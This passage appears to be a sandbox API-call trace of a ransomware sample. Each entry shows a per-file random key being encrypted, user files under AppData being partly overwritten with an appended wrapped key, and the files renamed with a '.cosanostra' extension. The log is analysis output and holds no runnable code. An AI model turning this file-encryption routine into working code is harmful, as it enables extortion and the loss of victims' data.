pbBuffer=0x2abf568 | out: pbBuffer=0x2abf568) returned 1 [0088.576] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf560*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf560*=0x30) returned 1 [0088.576] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0088.577] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned 93 [0088.577] StrStrW (lpFirst="Desktop.ini", lpSrch=".txt") returned 0x0 [0088.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffd7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.577] WriteFile (in: hFile=0x188, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x2abf524, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf524*=0x285, lpOverlapped=0x0) returned 1 [0088.577] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.577] WriteFile (in: hFile=0x188, lpBuffer=0x2abf564*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf524, lpOverlapped=0x0 | out: lpBuffer=0x2abf564*, lpNumberOfBytesWritten=0x2abf524*=0x4, lpOverlapped=0x0) returned 1 [0088.578] WriteFile (in: hFile=0x188, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf524, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf524*=0x30, lpOverlapped=0x0) returned 1 [0088.578] CloseHandle (hObject=0x188) returned 1 [0088.578] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini.cosanostra")) returned 1 [0088.650] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf560 | out: pbBuffer=0x2abf560) returned 1 [0088.650] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf558*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf558*=0x30) returned 1 [0088.650] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0088.654] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01") returned 109 [0088.654] StrStrW (lpFirst="FCBF5d01", lpSrch=".txt") returned 0x0 [0089.259] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.259] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf51c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf51c*=0x2800, lpOverlapped=0x0) returned 1 [0089.260] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.260] WriteFile (in: hFile=0x174, lpBuffer=0x2abf55c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf51c, lpOverlapped=0x0 | out: lpBuffer=0x2abf55c*, lpNumberOfBytesWritten=0x2abf51c*=0x4, lpOverlapped=0x0) returned 1 [0089.361] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf51c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf51c*=0x30, lpOverlapped=0x0) returned 1 [0089.361] CloseHandle (hObject=0x174) returned 1 [0089.361] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\FCBF5d01.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\fcbf5d01.cosanostra")) returned 1 [0089.362] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf558 | out: pbBuffer=0x2abf558) returned 1 [0089.362] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf550*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf550*=0x30) returned 1 [0089.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0089.362] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf558 | out: pbBuffer=0x2abf558) returned 1 [0089.362] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf550*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf550*=0x30) returned 1 [0089.362] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BDNSyZ0NKzt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bdnsyz0nkzt.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.363] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BDNSyZ0NKzt.mp3") returned 68 [0089.363] StrStrW (lpFirst="BDNSyZ0NKzt.mp3", lpSrch=".txt") returned 0x0 [0089.363] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.363] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf514, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf514*=0x2800, lpOverlapped=0x0) returned 1 [0089.364] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.364] WriteFile (in: hFile=0x174, lpBuffer=0x2abf554*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf514, lpOverlapped=0x0 | out: lpBuffer=0x2abf554*, lpNumberOfBytesWritten=0x2abf514*=0x4, lpOverlapped=0x0) returned 1 [0089.364] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf514, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf514*=0x30, lpOverlapped=0x0) returned 1 [0089.364] CloseHandle (hObject=0x174) returned 1 [0089.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BDNSyZ0NKzt.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bdnsyz0nkzt.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\BDNSyZ0NKzt.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bdnsyz0nkzt.mp3.cosanostra")) returned 1 [0089.364] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf550 | out: pbBuffer=0x2abf550) returned 1 [0089.365] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf548*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf548*=0x30) returned 1 [0089.365] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AXu3Ij4 Jg-oOt.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\axu3ij4 jg-oot.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.365] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AXu3Ij4 Jg-oOt.swf") returned 71 [0089.365] StrStrW (lpFirst="AXu3Ij4 Jg-oOt.swf", lpSrch=".txt") returned 0x0 [0089.365] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.365] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf50c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf50c*=0x2800, lpOverlapped=0x0) returned 1 [0089.366] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.366] WriteFile (in: hFile=0x174, lpBuffer=0x2abf54c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf50c, lpOverlapped=0x0 | out: lpBuffer=0x2abf54c*, lpNumberOfBytesWritten=0x2abf50c*=0x4, lpOverlapped=0x0) returned 1 [0089.366] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf50c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf50c*=0x30, lpOverlapped=0x0) returned 1 [0089.366] CloseHandle (hObject=0x174) returned 1 [0089.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AXu3Ij4 Jg-oOt.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\axu3ij4 jg-oot.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AXu3Ij4 Jg-oOt.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\axu3ij4 jg-oot.swf.cosanostra")) returned 1 [0089.367] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf550 | out: pbBuffer=0x2abf550) returned 1 [0089.367] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf548*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf548*=0x30) returned 1 [0089.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.367] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log") returned 65 [0089.367] StrStrW (lpFirst="AdobeARM.log", lpSrch=".txt") returned 0x0 [0089.367] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffffd3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.367] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2c3, lpNumberOfBytesWritten=0x2abf50c, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf50c*=0x2c3, lpOverlapped=0x0) returned 1 [0089.367] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.368] WriteFile (in: hFile=0x174, lpBuffer=0x2abf54c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf50c, lpOverlapped=0x0 | out: lpBuffer=0x2abf54c*, lpNumberOfBytesWritten=0x2abf50c*=0x4, lpOverlapped=0x0) returned 1 [0089.368] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf50c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf50c*=0x30, lpOverlapped=0x0) returned 1 [0089.368] CloseHandle (hObject=0x174) returned 1 [0089.368] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log.cosanostra")) returned 1 [0089.368] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf548 | out: pbBuffer=0x2abf548) returned 1 [0089.369] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf540*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf540*=0x30) returned 1 [0089.369] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a8w6n.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a8w6n.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.369] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a8w6n.ots") returned 62 [0089.369] StrStrW (lpFirst="a8w6n.ots", lpSrch=".txt") returned 0x0 [0089.369] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.369] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf504, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf504*=0x2800, lpOverlapped=0x0) returned 1 [0089.370] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.370] WriteFile (in: hFile=0x174, lpBuffer=0x2abf544*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf504, lpOverlapped=0x0 | out: lpBuffer=0x2abf544*, lpNumberOfBytesWritten=0x2abf504*=0x4, lpOverlapped=0x0) returned 1 [0089.370] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf504, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf504*=0x30, lpOverlapped=0x0) returned 1 [0089.370] CloseHandle (hObject=0x174) returned 1 [0089.370] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a8w6n.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a8w6n.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a8w6n.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a8w6n.ots.cosanostra")) returned 1 [0089.371] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf548 | out: pbBuffer=0x2abf548) returned 1 [0089.371] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf540*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf540*=0x30) returned 1 [0089.371] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6vfhoISbms2E.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6vfhoisbms2e.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.371] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6vfhoISbms2E.csv") returned 69 [0089.371] StrStrW (lpFirst="6vfhoISbms2E.csv", lpSrch=".txt") returned 0x0 [0089.371] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.372] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf504, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf504*=0x2800, lpOverlapped=0x0) returned 1 [0089.372] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.372] WriteFile (in: hFile=0x174, lpBuffer=0x2abf544*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf504, lpOverlapped=0x0 | out: lpBuffer=0x2abf544*, lpNumberOfBytesWritten=0x2abf504*=0x4, lpOverlapped=0x0) returned 1 [0089.372] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf504, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf504*=0x30, lpOverlapped=0x0) returned 1 [0089.372] CloseHandle (hObject=0x174) returned 1 [0089.372] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6vfhoISbms2E.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6vfhoisbms2e.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\6vfhoISbms2E.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\6vfhoisbms2e.csv.cosanostra")) returned 1 [0089.373] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf540 | out: pbBuffer=0x2abf540) returned 1 [0089.373] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf538*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf538*=0x30) returned 1 [0089.373] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5sXgcUMsZ2.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5sxgcumsz2.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.373] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5sXgcUMsZ2.xls") returned 67 [0089.373] StrStrW (lpFirst="5sXgcUMsZ2.xls", lpSrch=".txt") returned 0x0 [0089.373] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.373] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4fc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf4fc*=0x2800, lpOverlapped=0x0) returned 1 [0089.374] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.374] WriteFile (in: hFile=0x174, lpBuffer=0x2abf53c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4fc, lpOverlapped=0x0 | out: lpBuffer=0x2abf53c*, lpNumberOfBytesWritten=0x2abf4fc*=0x4, lpOverlapped=0x0) returned 1 [0089.374] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4fc*=0x30, lpOverlapped=0x0) returned 1 [0089.374] CloseHandle (hObject=0x174) returned 1 [0089.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5sXgcUMsZ2.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5sxgcumsz2.xls"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5sXgcUMsZ2.xls.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5sxgcumsz2.xls.cosanostra")) returned 1 [0089.375] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf540 | out: pbBuffer=0x2abf540) returned 1 [0089.375] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf538*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf538*=0x30) returned 1 [0089.375] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4pLvX3eUwyX.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4plvx3euwyx.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.375] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4pLvX3eUwyX.rtf") returned 68 [0089.375] StrStrW (lpFirst="4pLvX3eUwyX.rtf", lpSrch=".txt") returned 0x0 [0089.376] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.376] WriteFile (in: hFile=0x174, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf4fc, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf4fc*=0x2800, lpOverlapped=0x0) returned 1 [0089.376] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.376] WriteFile (in: hFile=0x174, lpBuffer=0x2abf53c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf4fc, lpOverlapped=0x0 | out: lpBuffer=0x2abf53c*, lpNumberOfBytesWritten=0x2abf4fc*=0x4, lpOverlapped=0x0) returned 1 [0089.376] WriteFile (in: hFile=0x174, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf4fc, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf4fc*=0x30, lpOverlapped=0x0) returned 1 [0089.376] CloseHandle (hObject=0x174) returned 1 [0089.376] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4pLvX3eUwyX.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4plvx3euwyx.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\4pLvX3eUwyX.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\4plvx3euwyx.rtf.cosanostra")) returned 1 [0089.377] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf538 | out: pbBuffer=0x2abf538) returned 1 [0089.377] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf530*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf530*=0x30) returned 1 [0089.377] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3gJDa x-n7zuNYEDZtxF.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\3gjda x-n7zunyedztxf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0089.377] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\3gJDa x-n7zuNYEDZtxF.gif") returned 77 [0089.377] StrStrW (lpFirst="3gJDa x-n7zuNYEDZtxF.gif", lpSrch=".txt") returned 0x0 [0089.378] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 